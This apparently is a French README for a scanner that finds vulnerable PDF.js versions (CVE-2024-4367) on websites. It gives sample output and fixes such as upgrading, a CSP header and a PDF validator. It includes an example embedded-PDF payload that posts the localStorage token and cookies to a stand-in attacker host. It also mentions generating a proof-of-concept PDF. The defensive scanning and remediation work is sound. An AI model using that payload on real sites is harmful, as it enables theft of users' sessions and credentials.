javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();

git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Ouvrez n'importe quel site web et exécutez le script

┌─────────────────────────────────────────────────────────────┐
│                    FLUX DU PROCESSUS D'ANALYSE              │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. 📚 CHARGER LES SCRIPTS                                  │
│     ├─ Scripts externes (tous les <script src="">)        │
│     └─ Scripts en ligne (toutes les balises <script>)      │
│                                                             │
│  2. 🔍 EXTRAIRE LA VERSION DE PDF.JS                       │
│     ├─ Correspondance de motifs dans le code               │
│     ├─ Détection de package.json                            │
│     └─ Analyse des chemins node_modules                     │
│                                                             │
│  3. 🎯 IDENTIFIER LA VULNÉRABILITÉ                         │
│     ├─ version < 4.2.67 ? → VULNÉRABLE                    │
│     └─ version = 2.16.105 ? → VULNÉRABLE                  │
│                                                             │
│  4. 🖼️ LOCALISER LES VISIONNEUSES                          │
│     ├─ Analyse des éléments DOM                             │
│     └─ Détection d'attributs                                │
│                                                             │
│  5. ⚡ GÉNÉRER UNE POC                                     │
│     ├─ Créer un PDF de test                                 │
│     └─ Fournir un lien de téléchargement                    │
│                                                             │
│  6. 📊 AFFICHER LES RÉSULTATS                               │
│     ├─ Superposition visuelle                               │
│     ├─ Rapport dans la console                              │
│     └─ Stockage en variable globale                         │
│                                                             │
└─────────────────────────────────────────────────────────────┘

╔═══════════════════════════════════════════════════════════════════════════════════╗
║                    CVE-2024-4367 - SCANNER UNIVERSEL PDF.js                        ║
║              Détecte les versions vulnérables de PDF.js et l'exploitation          ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

📚 PHASE 1 : Analyse des bundles JavaScript pour PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 42 scripts externes trouvés
[+] 12 scripts en ligne trouvés
   [1/42] Analyse : vendor.bundle.js
      → Indicateur PDF.js trouvé : pdfjs-dist
      ✅ Version PDF.js trouvée : 2.16.105
      🚨 VULNÉRABLE à CVE-2024-4367 !

🎯 PHASE 4 : Identification des vecteurs d'exploitation
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ⚠️ Le paramètre d'URL accepte le PDF : file=/documents/report.pdf
   ⚠️ Formulaire de téléchargement PDF trouvé

█████████████████████████████████████████████████████████████████████████████████
                          RAPPORT D'ANALYSE FINAL
█████████████████████████████████████████████████████████████████████████████████

🚨 VULNÉRABILITÉ CRITIQUE CONFIRMÉE !
   CVE : CVE-2024-4367
   CVSS : 9.8 (CRITIQUE)
   Impact : Exécution arbitraire de JavaScript

┌─────────────────────────────────────────────────────────────┐
│  RÉSULTATS DE L'ANALYSE CVE-2024-4367                     │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  📍 Cible : example.com                                    │
│  📦 PDF.js : 2.16.105                                       │
│  🎯 Vulnérable : OUI                                        │
│  📄 Visionneuses : 3                                        │
│  ⚡ Vecteurs : 2                                            │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  🔴 CRITIQUE - Mise à niveau requise                        │
└─────────────────────────────────────────────────────────────┘

# Pour les projets Node.js
npm install pdfjs-dist@latest

# Pour une utilisation CDN
# Mettre à jour vers la version 4.2.67 ou supérieure

// Définir ceci avant de charger PDF.js
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;

Content-Security-Policy: script-src 'self'; 
                        object-src 'none'; 
                        worker-src 'none'

// Valider les fichiers PDF avant le rendu
function validatePDF(file) {
    // Vérifier les octets magiques
    const header = file.slice(0, 5);
    if (header !== '%PDF-') {
        throw new Error('Fichier PDF invalide');
    }
    
    // Rechercher du JavaScript
    const text = file.toString();
    if (text.includes('/JavaScript') || 
        text.includes('/JS') ||
        text.includes('<< /S /JavaScript >>')) {
        throw new Error('Le PDF contient du JavaScript');
    }
}

// PDF JavaScript intégré
this.alert('CVE-2024-4367 Exploité !');
fetch('https://attaquant.com/vol', {
    method: 'POST',
    body: JSON.stringify({
        token: localStorage.getItem('token'),
        cookies: document.cookie
    })
});

// Versions vulnérables
const VULNERABLE_VERSIONS = [
    { version: '2.16.105', status: 'CRITIQUE' },
    { version: '3.x.x', status: 'CRITIQUE' },
    { version: '4.0.x - 4.2.66', status: 'CRITIQUE' }
];

// Version sûre
const SAFE_VERSION = '4.2.67';

git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Faites vos modifications
# Testez sur plusieurs sites web
# Soumettez la PR